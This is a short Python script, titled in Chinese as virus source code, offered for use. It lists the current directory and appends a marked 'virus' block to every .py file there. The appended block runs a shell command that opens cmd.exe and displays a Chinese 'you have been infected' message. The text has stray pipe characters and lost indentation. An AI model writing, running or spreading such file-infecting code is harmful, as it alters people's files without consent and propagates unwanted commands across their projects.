Python病毒源代码: |
#! /usr/bin/env python |
import os |
virDir = os.getcwd() |
# 获取目录中所有文件的列表 |
fileList = os.listdir(virDir) |
# 遍历列表并查找python文件 |
for filename in fileList: |
if filename.endswith( ".py" ): |
f = open (filename, "a" ) |
code = "\n# Virus Start\nimport os\nos.system('start cmd.exe /k echo 你已中毒!')\n# Virus End\n" |
f.write(code) |
f.close() |